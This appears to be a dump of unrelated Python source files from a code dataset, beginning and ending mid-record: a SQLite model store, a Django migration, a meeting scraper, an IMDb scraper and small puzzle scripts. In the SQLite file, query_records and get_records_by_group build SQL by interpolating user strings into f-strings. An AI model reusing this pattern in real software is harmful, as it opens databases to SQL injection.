url=row[4],\n download_path=row[5],\n download_filename=row[6],\n preview_url=row[7],\n description=row[8],\n positive_prompts=row[9],\n negative_prompts=row[10],\n sha256_hash=row[11],\n md5_hash=row[12],\n created_at=row[13],\n groups=row[14].split(',') if row[14] else [],\n subdir=row[15],\n location=row[16]\n )\n\n\nclass SQLiteStorage(Storage):\n\n def __init__(self):\n self.local = threading.local()\n self._initialize()\n\n def _connection(self):\n if not hasattr(self.local, \"connection\"):\n db_file_path = os.path.join(env.script_dir, _DB_FILE)\n self.local.connection = sqlite3.connect(db_file_path, _DB_TIMEOUT)\n return self.local.connection\n\n def _initialize(self):\n cursor = self._connection().cursor()\n\n cursor.execute('''CREATE TABLE IF NOT EXISTS Record\n (id INTEGER PRIMARY KEY,\n _name TEXT,\n model_type TEXT,\n download_url TEXT,\n url TEXT DEFAULT '',\n download_path TEXT DEFAULT '',\n download_filename TEXT DEFAULT '',\n preview_url TEXT DEFAULT '',\n description TEXT DEFAULT '',\n positive_prompts TEXT DEFAULT '',\n negative_prompts TEXT DEFAULT '',\n sha256_hash TEXT DEFAULT '',\n md5_hash TEXT DEFAULT '',\n created_at INTEGER DEFAULT 0,\n groups TEXT DEFAULT '',\n subdir TEXT DEFAULT '',\n location TEXT DEFAULT '')\n ''')\n\n cursor.execute(f'''CREATE TABLE IF NOT EXISTS Version\n (version INTEGER DEFAULT {_DB_VERSION})''')\n self._connection().commit()\n self._check_database_version()\n\n def _check_database_version(self):\n cursor = self._connection().cursor()\n cursor.execute('SELECT * FROM Version ', )\n row = cursor.fetchone()\n\n if row is None:\n cursor.execute(f'INSERT INTO Version VALUES ({_DB_VERSION})')\n self._connection().commit()\n\n version = _DB_VERSION if row is None else row[0]\n if version != _DB_VERSION:\n self._run_migration(version)\n\n def _run_migration(self, current_version):\n for ver in range(current_version, _DB_VERSION):\n if ver == 1:\n self._migrate_1_to_2()\n elif ver == 2:\n self._migrate_2_to_3()\n elif ver == 3:\n self._migrate_3_to_4()\n elif ver == 4:\n self._migrate_4_to_5()\n else:\n raise Exception(f'Missing SQLite migration from {ver} to {_DB_VERSION}')\n\n def _migrate_1_to_2(self):\n cursor = self._connection().cursor()\n cursor.execute('ALTER TABLE Record ADD COLUMN created_at INTEGER DEFAULT 0;')\n cursor.execute(\"DELETE FROM Version\")\n cursor.execute('INSERT INTO Version VALUES (2)')\n self._connection().commit()\n\n def _migrate_2_to_3(self):\n cursor = self._connection().cursor()\n cursor.execute(\"ALTER TABLE Record ADD COLUMN groups TEXT DEFAULT '';\")\n cursor.execute(\"DELETE FROM Version\")\n cursor.execute('INSERT INTO Version VALUES (3)')\n self._connection().commit()\n\n def _migrate_3_to_4(self):\n cursor = self._connection().cursor()\n cursor.execute(\"ALTER TABLE Record RENAME COLUMN model_hash TO sha256_hash;\")\n cursor.execute(\"ALTER TABLE Record ADD COLUMN subdir TEXT DEFAULT '';\")\n cursor.execute(\"DELETE FROM Version\")\n cursor.execute('INSERT INTO Version VALUES (4)')\n self._connection().commit()\n\n def _migrate_4_to_5(self):\n cursor = self._connection().cursor()\n cursor.execute(\"ALTER TABLE Record ADD COLUMN location TEXT DEFAULT '';\")\n cursor.execute(\"DELETE FROM Version\")\n cursor.execute('INSERT INTO Version VALUES (5)')\n self._connection().commit()\n\n def get_all_records(self) -> List:\n cursor = self._connection().cursor()\n cursor.execute('SELECT * FROM Record')\n rows = cursor.fetchall()\n result = []\n for row in rows:\n result.append(map_row_to_record(row))\n return result\n\n def query_records(self, name_query: str = None, groups=None, model_types=None, show_downloaded=True,\n show_not_downloaded=True) -> List:\n\n query = 'SELECT * FROM Record'\n\n is_where_appended = False\n append_and = False\n\n if name_query is not None and name_query:\n if not is_where_appended:\n query += ' WHERE'\n is_where_appended = True\n\n query += f\" LOWER(_name) LIKE '%{name_query}%'\"\n append_and = True\n\n if model_types is not None and len(model_types) > 0:\n if not is_where_appended:\n query += ' WHERE'\n is_where_appended = True\n\n if append_and:\n query += ' AND'\n\n query += ' ('\n append_or = False\n for model_type in model_types:\n if append_or:\n query += ' OR'\n query += f\" model_type='{model_type}'\"\n append_or = True\n\n query += ')'\n\n append_and = True\n pass\n\n if groups is not None and len(groups) > 0:\n if not is_where_appended:\n query += ' WHERE'\n\n for group in groups:\n if append_and:\n query += ' AND'\n query += f\" LOWER(groups) LIKE '%{group}%'\"\n append_and = True\n\n logger.debug(f'query: {query}')\n cursor = self._connection().cursor()\n cursor.execute(query)\n rows = cursor.fetchall()\n result = []\n for row in rows:\n record = map_row_to_record(row)\n is_downloaded = bool(record.location) and os.path.exists(record.location)\n\n if show_downloaded and is_downloaded:\n result.append(record)\n elif show_not_downloaded and not is_downloaded:\n result.append(record)\n\n return result\n\n def get_record_by_id(self, id_) -> Record:\n cursor = self._connection().cursor()\n cursor.execute('SELECT * FROM Record WHERE id=?', (id_,))\n row = cursor.fetchone()\n return None if row is None else map_row_to_record(row)\n\n def get_records_by_group(self, group: str) -> List:\n cursor = self._connection().cursor()\n cursor.execute(f\"SELECT * FROM Record WHERE LOWER(groups) LIKE '%{group}%'\")\n rows = cursor.fetchall()\n result = []\n for row in rows:\n result.append(map_row_to_record(row))\n return result\n\n def add_record(self, record: Record):\n cursor = self._connection().cursor()\n data = (\n record.name,\n record.model_type.value,\n record.download_url,\n record.url,\n record.download_path,\n record.download_filename,\n record.preview_url,\n record.description,\n record.positive_prompts,\n record.negative_prompts,\n record.sha256_hash,\n record.md5_hash,\n record.created_at,\n \",\".join(record.groups),\n record.subdir,\n record.location\n )\n cursor.execute(\n \"\"\"INSERT INTO Record(\n _name,\n model_type,\n download_url,\n url,\n download_path,\n download_filename,\n preview_url,\n description,\n positive_prompts,\n negative_prompts,\n sha256_hash,\n md5_hash,\n created_at,\n groups,\n subdir,\n location) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\",\n data)\n self._connection().commit()\n\n def update_record(self, record: Record):\n cursor = self._connection().cursor()\n data = (\n record.name,\n record.model_type.value,\n record.download_url,\n record.url,\n record.download_path,\n record.download_filename,\n record.preview_url,\n record.description,\n record.positive_prompts,\n record.negative_prompts,\n record.sha256_hash,\n record.md5_hash,\n \",\".join(record.groups),\n record.subdir,\n record.location,\n record.id_\n )\n cursor.execute(\n \"\"\"UPDATE Record SET \n _name=?,\n model_type=?,\n download_url=?,\n url=?,\n download_path=?,\n download_filename=?,\n preview_url=?,\n description=?,\n positive_prompts=?,\n negative_prompts=?,\n sha256_hash=?,\n md5_hash=?,\n groups=?,\n subdir=?,\n location=?\n WHERE id=?\n \"\"\", data\n )\n\n self._connection().commit()\n\n def remove_record(self, _id):\n cursor = self._connection().cursor()\n cursor.execute(\"DELETE FROM Record WHERE id=?\", (_id,))\n self._connection().commit()\n\n def get_available_groups(self) -> List:\n cursor = self._connection().cursor()\n cursor.execute('SELECT groups FROM Record')\n rows = cursor.fetchall()\n result = []\n for row in rows:\n if row[0]:\n result.extend(row[0].split(\",\"))\n\n result = list(set(result))\n return list(filter(None, result))\n\n def get_all_records_locations(self) -> List:\n cursor = self._connection().cursor()\n cursor.execute('SELECT location FROM Record')\n rows = cursor.fetchall()\n result = []\n for row in rows:\n if row[0]:\n result.append(row[0])\n\n return result\n","repo_name":"alexandersokol/sd-model-organizer","sub_path":"scripts/mo/data/sqlite_storage.py","file_name":"sqlite_storage.py","file_ext":"py","file_size_in_byte":11137,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"47"} +{"seq_id":"74564718862","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django_markdown.models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Chapter',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('title', models.CharField(max_length=128)),\n ('description', models.TextField(blank=True)),\n ('number', models.PositiveSmallIntegerField(verbose_name='Chapter Number', default=1)),\n ('slug', models.SlugField(unique=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Character',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=128)),\n ('c_type', models.CharField(default='Supporting', verbose_name='Character Type', choices=[('Protagonist', 'Protagonist'), ('Antagonist', 'Antagonist'), ('Supporting', 'Supporting'), ('Creature', 'Creature')], max_length=32)),\n ('xp', models.PositiveSmallIntegerField(blank=True, default=0)),\n ('description', models.TextField(blank=True)),\n ('age', models.PositiveSmallIntegerField(default=21)),\n ('combat_info', django_markdown.models.MarkdownField(default='Attack: X, Defense: X')),\n ('image', models.ImageField(default='profile_images/nobody.jpg', upload_to='profile_images/%Y/%m/%d')),\n ('slug', models.SlugField(unique=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='CombatInfo',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('title', models.CharField(max_length=32)),\n ('data', models.CharField(default=0, max_length=64)),\n ('character', models.ForeignKey(to='personas.Character')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Communique',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('date', models.DateTimeField(auto_now=True)),\n ('content', models.CharField(max_length=140)),\n ('rating', models.PositiveSmallIntegerField(default=0)),\n ('author', models.ForeignKey(to='personas.Character', related_name='Author')),\n ('receiver', models.ForeignKey(to='personas.Character', related_name='Receiver')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Item',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=32)),\n ('description', models.TextField(blank=True)),\n ('slug', models.SlugField(unique=True)),\n ('character', models.ForeignKey(to='personas.Character', blank=True, null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Location',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=128)),\n ('image', models.ImageField(default='location_images/nowhere.jpg', upload_to='location_images/%Y/%m/%d')),\n ('terrain', models.CharField(max_length=128)),\n ('features', models.CharField(max_length=500)),\n ('description', models.TextField(blank=True)),\n ('latitude', models.FloatField(default=0.0)),\n ('longitude', models.FloatField(default=0.0)),\n ('slug', models.SlugField(unique=True)),\n ('creator', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='MainMap',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=64)),\n ('base_latitude', models.FloatField(blank=True)),\n ('base_longitude', models.FloatField(blank=True)),\n ('tiles', models.CharField(blank=True, max_length=256)),\n ('slug', models.SlugField(unique=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Membership',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('date_joined', models.DateField(default='2014-01-01')),\n ('role', models.CharField(max_length=128)),\n ('rank', models.PositiveSmallIntegerField(default=1)),\n ('character', models.ForeignKey(to='personas.Character')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Nation',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=128)),\n ('description', models.TextField(blank=True)),\n ('might', models.PositiveSmallIntegerField(default=0)),\n ('intrigue', models.PositiveSmallIntegerField(default=0)),\n ('magic', models.PositiveSmallIntegerField(default=0)),\n ('wealth', models.PositiveSmallIntegerField(default=0)),\n ('influence', models.PositiveSmallIntegerField(default=0)),\n ('defense', models.PositiveSmallIntegerField(default=0)),\n ('slug', models.SlugField(unique=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Note',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('content', models.TextField()),\n ('date', models.DateTimeField(auto_now=True)),\n ('rating', models.PositiveSmallIntegerField(default=0)),\n ('chapter', models.ForeignKey(to='personas.Chapter', blank=True, null=True)),\n ('character', models.ForeignKey(to='personas.Character', blank=True, null=True)),\n ('creator', models.ForeignKey(to=settings.AUTH_USER_MODEL, default=0)),\n ('item', models.ForeignKey(to='personas.Item', blank=True, null=True)),\n ('location', models.ForeignKey(to='personas.Location', blank=True, null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Organization',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=128)),\n ('description', models.TextField(blank=True)),\n ('purpose', models.CharField(max_length=128)),\n ('region', models.CharField(max_length=128)),\n ('slug', models.SlugField(unique=True)),\n ('location', models.ForeignKey(to='personas.Location')),\n ('members', models.ManyToManyField(blank=True, to='personas.Character', through='personas.Membership')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Relationship',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('relationship_class', models.CharField(default='Ally', choices=[('Ally', 'Ally'), ('Enemy', 'Enemy'), ('Friend', 'Friend'), ('Spouse', 'Spouse'), ('Parent', 'Parent'), ('Child', 'Child'), ('Sibling', 'Sibling'), ('Rival', 'Rival'), ('Lover', 'Lover'), ('Partner', 'Business Partner'), ('Member', 'Co-member')], max_length=32)),\n ('weight', models.PositiveSmallIntegerField(verbose_name='Strength of the relationship %', default=50)),\n ('relationship_description', models.CharField(max_length=128)),\n ('from_character', models.ForeignKey(to='personas.Character', related_name='from_character')),\n ('to_character', models.ForeignKey(to='personas.Character', related_name='to_character')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Scene',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('title', models.CharField(max_length=128)),\n ('description', models.TextField(blank=True)),\n ('time', models.DateTimeField(default='2014-01-01')),\n ('slug', models.SlugField(blank=True, unique=True)),\n ('chapter', models.ForeignKey(to='personas.Chapter')),\n ('characters', models.ManyToManyField(blank=True, to='personas.Character')),\n ('location', models.ForeignKey(blank=True, to='personas.Location')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Skill',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=32)),\n ('value', models.PositiveSmallIntegerField(default=0)),\n ('s_type', models.CharField(default='Type_1', verbose_name='Skill Type', choices=[('Type_1', 'Type_1'), ('Type_2', 'Type_2'), ('Type_3', 'Type_3'), ('Type_4', 'Type_4')], max_length=32)),\n ('description', models.TextField(blank=True)),\n ('character', models.ForeignKey(to='personas.Character')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='SpecialAbility',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=32)),\n ('description', models.TextField(blank=True)),\n ('character', models.ForeignKey(to='personas.Character', blank=True, null=True)),\n ('item', models.ForeignKey(to='personas.Item', blank=True, null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Statistic',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=32)),\n ('value', models.PositiveSmallIntegerField(default=0)),\n ('stat_type', models.CharField(default='Type_1', verbose_name='Statistic Type', choices=[('Type_1', 'Type_1'), ('Type_2', 'Type_2'), ('Type_3', 'Type_3'), ('Type_4', 'Type_4')], max_length=32)),\n ('description', models.TextField(blank=True)),\n ('character', models.ForeignKey(to='personas.Character')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Story',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('title', models.CharField(max_length=128)),\n ('publication_date', models.DateField()),\n ('description', models.TextField(blank=True)),\n ('genre', models.CharField(default='Fantasy', choices=[('Supers', 'Supers'), ('Fantasy', 'Fantasy'), ('Horror', 'Horror'), ('Historical', 'Historical'), ('Science-Fiction', 'Science Fiction'), ('Western', 'Western'), ('Drama', 'Drama'), ('Comedy', 'Comedy'), ('Crime', 'Crime'), ('Fable', 'Fable'), ('Mystery', 'Mystery')], max_length=128)),\n ('image', models.ImageField(default='story_images/nobody.jpg', upload_to='story_images/%Y/%m/%d')),\n ('background', models.ImageField(default='story_backgrounds/nothing.jpg', upload_to='story_backgrounds/%Y/%m/%d')),\n ('slug', models.SlugField(unique=True)),\n ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Trait',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('label', models.CharField(blank=True, default='CO', choices=[('CO', 'Core'), ('VA', 'Values'), ('BA', 'Background'), ('FL', 'Flaw')], max_length=12)),\n ('name', models.CharField(max_length=128)),\n ('slug', models.SlugField(blank=True, unique=True)),\n ('character', models.ForeignKey(to='personas.Character')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('website', models.URLField(blank=True)),\n ('image', models.ImageField(default='user_images/nobody.jpg', upload_to='user_images/%Y/%m/%d')),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='organization',\n name='story',\n field=models.ForeignKey(to='personas.Story'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='note',\n name='organization',\n field=models.ForeignKey(to='personas.Organization', blank=True, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='note',\n name='scene',\n field=models.ForeignKey(to='personas.Scene', blank=True, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='note',\n name='story',\n field=models.ForeignKey(to='personas.Story', blank=True, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='nation',\n name='story',\n field=models.ForeignKey(to='personas.Story'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='membership',\n name='organization',\n field=models.ForeignKey(to='personas.Organization'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='mainmap',\n name='story',\n field=models.ForeignKey(to='personas.Story'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='location',\n name='nation',\n field=models.ForeignKey(blank=True, to='personas.Nation'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='location',\n name='story',\n field=models.ForeignKey(to='personas.Story', default=1),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='item',\n name='story',\n field=models.ForeignKey(to='personas.Story', blank=True, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='character',\n name='base_of_operations',\n field=models.ForeignKey(to='personas.Location', related_name='active_in', default=2),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='character',\n name='birthplace',\n field=models.ForeignKey(to='personas.Location', related_name='place_of_birth', default=1),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='character',\n name='creator',\n field=models.ForeignKey(blank=True, to=settings.AUTH_USER_MODEL),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='character',\n name='nationality',\n field=models.ForeignKey(to='personas.Nation', default=1),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='character',\n name='story',\n field=models.ForeignKey(to='personas.Story', default=1),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='chapter',\n name='story',\n field=models.ForeignKey(to='personas.Story'),\n preserve_default=True,\n ),\n ]\n","repo_name":"ToferC/Django-Chronicles","sub_path":"personas/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":18371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"10815471644","text":"import re\nfrom collections import defaultdict\nfrom datetime import datetime\n\nfrom city_scrapers_core.constants import COMMISSION\nfrom city_scrapers_core.items import Meeting\nfrom dateutil.relativedelta import relativedelta\n\n\nclass ChiRogersParkSsaMixin:\n timezone = \"America/Chicago\"\n\n def parse(self, response):\n self.link_date_map = self._parse_links(response)\n for i in range(-3, 4):\n month_str = (datetime.now() + relativedelta(months=i)).strftime(\"%Y-%m\")\n yield response.follow(\n \"https://business.rpba.org/events/calendar/{}-01/\".format(month_str),\n callback=self._parse_calendar,\n )\n\n def _parse_links(self, response):\n \"\"\"Return a dictionary mapping start datetimes to documents\"\"\"\n link_dict = defaultdict(list)\n for section in response.css(\".et_pb_tab_1 p, .et_pb_tab_2 p\"):\n label_str = section.css(\"*::text\").extract_first()\n if not label_str or (\n \"Minutes\" not in label_str and \"Agenda\" not in label_str\n ):\n continue\n year_str = label_str[:4]\n link_title = \"Agenda\" if \"Agenda\" in label_str else \"Minutes\"\n for link in section.css(\"a\"):\n link_text = link.css(\"::text\").extract_first().strip()\n if not re.match(r\"^[a-zA-Z]{3,10} \\d{1,2}$\", link_text):\n continue\n date_str = re.search(r\"[a-zA-Z]{3,10} \\d{1,2}\", link_text).group()\n start = datetime.strptime(\n \"{} {}\".format(date_str, year_str), \"%B %d %Y\"\n ).date()\n link_dict[start].append(\n {\"href\": link.attrib[\"href\"], \"title\": link_title}\n )\n return link_dict\n\n def _parse_calendar(self, response):\n ssa_num = re.search(r\"#\\d{1,2}\", self.agency).group()\n for item in response.css(\".mn-cal-event a\"):\n item_text = \" \".join(item.css(\"*::text\").extract())\n if ssa_num in item_text:\n yield response.follow(item.attrib[\"href\"], callback=self._parse_detail)\n\n def _parse_detail(self, response):\n start = self._parse_start(response)\n meeting = Meeting(\n title=self._parse_title(response),\n description=\"\",\n classification=COMMISSION,\n start=start,\n end=self._parse_end(response),\n all_day=False,\n time_notes=\"\",\n location=self._parse_location(response),\n links=self.link_date_map[start.date()],\n source=response.url,\n )\n\n meeting[\"status\"] = self._get_status(meeting, text=\"TODO\")\n meeting[\"id\"] = self._get_id(meeting)\n yield meeting\n\n def _parse_title(self, response):\n title_str = \" \".join(response.css(\"#mn-pagetitle *::text\").extract())\n if \"Emergency\" in title_str:\n return \"Emergency Meeting\"\n if \"special\" in title_str.lower():\n return \"Special Meeting\"\n return \"Commission\"\n\n def _parse_start(self, response):\n date_str = response.css(\"[itemprop='startDate']::attr(content)\").extract_first()\n return datetime.strptime(date_str, \"%Y-%m-%dT%H:%M\")\n\n def _parse_end(self, response):\n date_str = response.css(\"[itemprop='endDate']::attr(content)\").extract_first()\n if date_str:\n return datetime.strptime(date_str, \"%Y-%m-%dT%H:%M\")\n\n def _parse_location(self, response):\n loc_name = (\n response.css('.mn-event-content [itemprop=\"name\"]::text').extract_first()\n or \"\"\n ).strip()\n map_link = response.css(\".mn-event-maplink\")\n if len(map_link) == 0:\n loc_addr_str = \" \".join(\n response.css('.mn-event-content [itemprop=\"name\"]::text').extract()[1:]\n ).strip()\n if loc_name in loc_addr_str:\n loc_name = \"\"\n return {\n \"name\": loc_name,\n \"address\": loc_addr_str + \" Chicago, IL\",\n }\n loc_street = (\n map_link.css('[itemprop=\"streetAddress\"]::attr(content)').extract_first()\n or \"\"\n )\n loc_city = (\n map_link.css('[itemprop=\"addressLocality\"]::attr(content)').extract_first()\n or \"Chicago\"\n )\n loc_zip = (\n map_link.css('[itemprop=\"postalCode\"]::attr(content)').extract_first() or \"\"\n )\n if loc_name in loc_street:\n loc_name = \"\"\n return {\n \"name\": loc_name,\n \"address\": \"{} {}, IL {}\".format(loc_street, loc_city, loc_zip).strip(),\n }\n","repo_name":"City-Bureau/city-scrapers","sub_path":"city_scrapers/mixins/chi_rogers_park_ssa.py","file_name":"chi_rogers_park_ssa.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","stars":309,"dataset":"github-code","pt":"47"} +{"seq_id":"13838437088","text":"import sys\r\ninput=sys.stdin.readline\r\n\r\nn=int(input())\r\narr=[]\r\nfor i in range(n):\r\n arr.append(int(input()))\r\narr.sort(reverse=True)\r\nfor i in range(n-2):\r\n a, b, c = arr[i], arr[i+1], arr[i+2]\r\n if b+c>a:\r\n print(a+b+c)\r\n exit(0)\r\nprint(-1)","repo_name":"LEEJW1953/baekjoon","sub_path":"백준/Silver/1448. 삼각형 만들기/삼각형 만들기.py","file_name":"삼각형 만들기.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42778487506","text":"from imdb_firsttask import*\nfrom forth_task_imdb import*\nimport json\nimport os.path\n\ndef movie_caching(movie_url):\n movie_id=\" \"\n for id in movie_url[27:]:\n if \"/\" not in id:\n movie_id=movie_id+id\n else:\n break\n caching_name=(movie_id+\".json\")\n # return caching_name\n text=None\n if os.path.exists (caching_name):\n open_file=open(caching_name)\n file_read=open_file.read()\n return file_read\n movie_name_list=[ ]\n movie_director_list=[ ]\n movie_run_time=[ ]\n movie_bio_list=[ ]\n movie_genere_list=[ ]\n movie_language_list=[ ]\n movie_country_list=[ ]\n poster_url_list=[ ]\n\n if text is None: \n data_get=requests.get(movie_url)\n data_get_text=data_get.text\n parser_data=BeautifulSoup(data_get_text,\"html.parser\")\n div_title=parser_data.find(\"div\",class_=\"title_wrapper\").h1.get_text()\n # return div_title\n cine_name=\" \"\n for d in div_title:\n if \"(\" not in d:\n cine_name=(cine_name+d).strip()\n else:\n break\n # return cine_name\n div_plot=parser_data.find(\"div\",class_=\"plot_summary\")\n div_credit=div_plot.find(\"div\",class_=\"credit_summary_item\")\n find_all_a=div_credit.find_all(\"a\")\n for movie_direct in find_all_a:\n m_director=(movie_direct.get_text().strip())\n movie_director_list.append(m_director)\n # return movie_director_list\n div_text=div_plot.find(\"div\",class_=\"summary_text\").get_text().strip()\n # return div_text\n movie_bio_list.append(div_text)\n # return movie_bio_list\n div_sub=parser_data.find(\"div\",class_=\"subtext\")\n cine_time=div_sub.find(\"time\").get_text().strip()\n # return cine_time\n convert_minute=((int(cine_time[0])*60)+(int(cine_time[3:].strip(\"min\"))))\n # return convert_minute\n cine_genere=div_sub.find_all(\"a\")\n # return cine_genere\n for gene in cine_genere:\n c_genere=(gene.get_text())\n movie_genere_list.append(c_genere)\n movie_genere_list.pop()\n # return movie_genere_list\n image_div=parser_data.find(\"div\",class_=\"poster\").img[\"src\"]\n # return image_div\n poster_url_list.append(image_div)\n # return poster_url_list\n lang_county=parser_data.find(\"div\",class_=\"article\",id=\"titleDetails\")\n all_txt_block=lang_county.find_all(\"div\")\n for v in range(5):\n all_h4=all_txt_block[v].h4.get_text()\n # return (all_txt_block.a.get_text())\n if all_h4==\"Country:\":\n coun=all_txt_block[v].a.get_text()\n # return coun\n movie_country_list.append(coun)\n # return movie_country_list\n if all_h4==\"Language:\":\n langu=all_txt_block[v].a.get_text()\n movie_language_list.append(langu)\n # return movie_genere_list\n caching_dicts={ }\n caching_dicts[\"movie_name\"]=cine_name\n caching_dicts[\"director\"]=movie_director_list\n caching_dicts[\"genere\"]=movie_genere_list\n caching_dicts[\"bio\"]=movie_bio_list\n caching_dicts[\"poster_url\"]=poster_url_list\n caching_dicts[\"country\"]=movie_country_list\n caching_dicts[\"language\"]=movie_language_list\n # return caching_dicts\n json_open=open(caching_name,\"w\")\n convert_json=json.dumps(caching_dicts)\n json_open.write(convert_json)\n json_open.close()\n return caching_dicts\n\napi=(\"https://www.imdb.com/title/tt0093603/\")\nmovie_data=(movie_caching(api))\n# pprint.pprint(movie_data)\n\n\n\n\n\n\n\n\n","repo_name":"sarmisthamaity/web_scrapping","sub_path":"eight_task_imdb.py","file_name":"eight_task_imdb.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24217452390","text":"def palindromes(lower=1, upper=1):\r\n l = []\r\n d = r = t = 0\r\n for i in range(lower, upper + 1, 1):\r\n r = 0\r\n t = i\r\n while i > 0:\r\n d = i % 10\r\n r = r * 10 + d\r\n i = i // 10\r\n if t == r:\r\n l.append(t)\r\n return l\r\n\r\n\r\ndef primes(lower=1, upper=1):\r\n l = []\r\n for i in range(lower, upper + 1, 1):\r\n if i > 1:\r\n for j in range(2, i, 1):\r\n if i % j == 0:\r\n break\r\n else:\r\n l.append(i)\r\n return l\r\n\r\n\r\ndef palprimes(lower=1, upper=1):\r\n l = []\r\n prime = primes(lower, upper)\r\n palindrome = palindromes(lower, upper)\r\n for i in range(lower, upper, 1):\r\n if i in prime and i in palindrome:\r\n l.append(i)\r\n return l\r\n\r\n\r\nif __name__ == \"__main__\":\r\n ch = lbound = ubound = 0\r\n while True:\r\n print('''\r\n MENU\r\n========================\r\n (1) Find Palindromes\r\n (2) Find Primes\r\n (3) Find Palprimes\r\n (0) Exit\r\n ''')\r\n ch = int(input('Enter Choice: '))\r\n if ch == 1:\r\n lbound = int(input('Enter Lower Bound of Range: '))\r\n ubound = int(input('Enter Upper Bound of Range: '))\r\n print(f'Palindromes in the Range: {palindromes(lbound, ubound)}')\r\n elif 